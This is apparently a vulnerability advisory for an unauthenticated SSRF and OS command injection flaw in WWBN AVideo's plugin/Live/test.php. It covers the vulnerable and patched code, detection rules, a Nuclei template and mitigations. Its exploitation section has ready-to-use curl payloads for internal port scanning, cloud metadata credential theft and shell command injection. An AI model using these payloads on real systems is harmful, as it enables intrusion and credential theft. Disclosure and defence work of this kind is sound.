CVE-2026-33502: Unauthenticated SSRF and Command Injection in WWBN AVideo

WWBN AVideo is an open-source video platform that incorporates various plugins to extend its functionality. The Live plugin, designed to manage livestreaming features, includes a testing script located at plugin/Live/test.php. This specific endpoint exposes a critical attack surface due to its lack of authentication requirements and improper handling of user-supplied input.

The vulnerability manifests as a combination of Server-Side Request Forgery (CWE-918) and OS Command Injection (CWE-78). By supplying a crafted payload to the statsURL parameter, an external attacker can manipulate the server into initiating unauthorized network connections. These connections bypass external firewall perimeters, allowing the attacker to interact directly with internal infrastructure.

Furthermore, the script implements a flawed fallback mechanism that interacts directly with the host operating system. When the application processes the manipulated input, it interpolates the data into a shell command without adequate sanitization. This secondary vector escalates the severity of the flaw from internal reconnaissance to arbitrary remote code execution on the underlying server.

The root cause of the vulnerability resides in the inadequate input validation of the statsURL HTTP request parameter within the plugin/Live/test.php script. The application extracts this parameter directly from the $_REQUEST superglobal array, establishing a direct conduit from user input to sensitive internal functions.

The initial validation sequence employs a basic regular expression (/^http/) to verify the parameter's format. This check strictly mandates that the string begins with "http", but it completely omits verification of the destination hostname, IP address, or network segment. The absence of an explicit deny-list for RFC1918 internal IP ranges or loopback addresses creates the foundational SSRF condition.

Following the superficial format check, the application passes the user-controlled input to url_get_contents(), a custom wrapper utilizing PHP's native file_get_contents() function. If the PHP environment has allow_url_fopen enabled, the server executes an HTTP request to the attacker-specified destination, returning the response context to the application.

A secondary, more critical logical error exists within a fallback execution path in the same file. The script attempts to retrieve the URL using the system wget binary via the exec() function. The application directly concatenates the unvalidated $url variable into the command string without utilizing escapeshellarg() or escapeshellcmd(), yielding a classic OS Command Injection vulnerability.

An examination of the vulnerable implementation in plugin/Live/test.php reveals the exact mechanism of the failure. The script processes the input and executes the flawed regex check before utilizing the variable in high-risk function calls. The following snippet demonstrates the insecure implementation:

$statsURL = $_REQUEST['statsURL'];
// Inadequate validation: only checks prefix
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    exit;
}
 
// SSRF vector
$content = url_get_contents($statsURL, 2);
 
// Command Injection vector
$cmd = "wget --tries=1 {$statsURL} -O {$filename} --no-check-certificate";
exec($cmd);

The patch introduced in commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 systematically eliminates both vulnerability vectors. The development team replaced the superficial regex check with a robust validation function, isSSRFSafeURL(), which actively prevents connections to restricted internal IP spaces and local loopback interfaces.

Additionally, the patch neutralizes the command injection vector by implementing proper shell escaping mechanisms. The application now processes the user input through escapeshellarg() before string interpolation, ensuring the operating system treats the input strictly as a literal string argument rather than an executable command sequence.

$statsURL = $_REQUEST['statsURL'];
// Robust SSRF mitigation
if (empty($statsURL) || $statsURL == "php://input" || !isSSRFSafeURL($statsURL)) {
    exit;
}
 
// Mitigated Command Injection via escaping
$safeUrl = escapeshellarg($statsURL);
$cmd = "wget --tries=1 {$safeUrl} -O {$filename} --no-check-certificate";
exec($cmd);

Exploiting this vulnerability requires zero authentication and relies entirely on standard network access to the target AVideo application. An attacker initiates the exploit chain by transmitting a crafted HTTP GET request specifically targeting the plugin/Live/test.php endpoint.

To conduct internal network reconnaissance, the attacker supplies a target internal IP address and port combination within the statsURL parameter. By analyzing the time variance in the server's response or inspecting reflected error messages, the attacker systematically enumerates active internal services, such as database instances or internal management interfaces.

# Internal Port Scanning (SSRF)
curl -s 'http://<AVideo-Server>/plugin/Live/test.php?statsURL=http://127.0.0.1:6379/'
 
# Cloud Metadata Exfiltration (SSRF)
curl -s 'http://<AVideo-Server>/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/'

To escalate the SSRF into OS Command Injection, the attacker structures the payload to bypass the initial http prefix check while simultaneously injecting shell termination metacharacters. By appending a semicolon immediately following a valid URL format, the attacker terminates the intended wget command and appends arbitrary operating system commands for immediate execution.

# Arbitrary Command Execution (RCE)
curl -s "http://<AVideo-Server>/plugin/Live/test.php?statsURL=http://127.0.0.1;id;uname%20-a"

The convergence of Server-Side Request Forgery and OS Command Injection results in a critical security compromise. The SSRF component directly violates the confidentiality of the target environment by enabling external adversaries to map internal network topographies and interact with non-public services.

In environments deployed on cloud infrastructure such as AWS, GCP, or Azure, the SSRF primitive serves as a direct conduit for metadata exfiltration. Attackers routinely target the 169.254.169.254 endpoint to harvest temporary Identity and Access Management (IAM) credentials, frequently leading to comprehensive cloud environment takeover.

The command injection capability provides the attacker with execution privileges matching the context of the web server process, typically www-data or apache. This level of system access permits the modification of application source code, retrieval of database credentials from configuration files, and the installation of persistent backdoors.

The CVSS v3.1 base score of 9.3 accurately quantifies the severe nature of this vulnerability. The lack of required privileges, absence of user interaction, and remote network exploitability categorize this flaw as a high-priority remediation item for any organization hosting WWBN AVideo infrastructure.

Detecting exploitation attempts necessitates continuous monitoring of web server access logs for anomalous requests targeting the Live plugin component. Security teams must configure alerting mechanisms for any inbound GET or POST requests directed toward the /plugin/Live/test.php URI path.

The content of the statsURL query parameter serves as the primary indicator of malicious activity. Security Information and Event Management (SIEM) rules should flag requests where this parameter contains internal IP addresses, loopback addresses (127.0.0.1, localhost), or the standard cloud metadata service IP (169.254.169.254).

Command injection exploitation attempts leave distinct artifacts within the request string. The presence of shell metacharacters such as semicolons, pipe characters, ampersands, or backticks appended to the URL value strongly indicates active exploitation of the OS command injection vector.

# Nuclei Detection Snippet
id: CVE-2026-33502-SSRF
info:
  name: WWBN AVideo Unauthenticated SSRF
  severity: critical
http:
  - method: GET
    path:
      - "{{BaseURL}}/plugin/Live/test.php?statsURL=http://{{interactsh-url}}"
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

The absolute and definitive remediation for this vulnerability requires upgrading the WWBN AVideo platform to version 26.1 or a more recent stable release. The updated software contains the necessary cryptographic patches, including the isSSRFSafeURL() validation routine and standard shell argument escaping mechanisms.

Administrators operating environments where immediate patching is prohibited by change control policies must implement interim mitigations at the web server tier. Configuring Nginx or Apache access control directives to explicitly deny external requests targeting plugin/Live/test.php neutralizes the remote attack vector while preserving core application functionality.

In scenarios where the testing features of the Live plugin are entirely unnecessary for production operations, administrators should securely delete the plugin/Live/test.php file from the filesystem. Removing the vulnerable code permanently eliminates the associated risk without requiring complex configuration changes.

Implementing strict egress network filtering serves as an essential defense-in-depth measure. Configuring host-based firewalls to prevent the web server process from initiating outbound HTTP connections to RFC1918 internal IP ranges and the 169.254.169.254 metadata address prevents the realization of the SSRF impact, even if the application remains unpatched.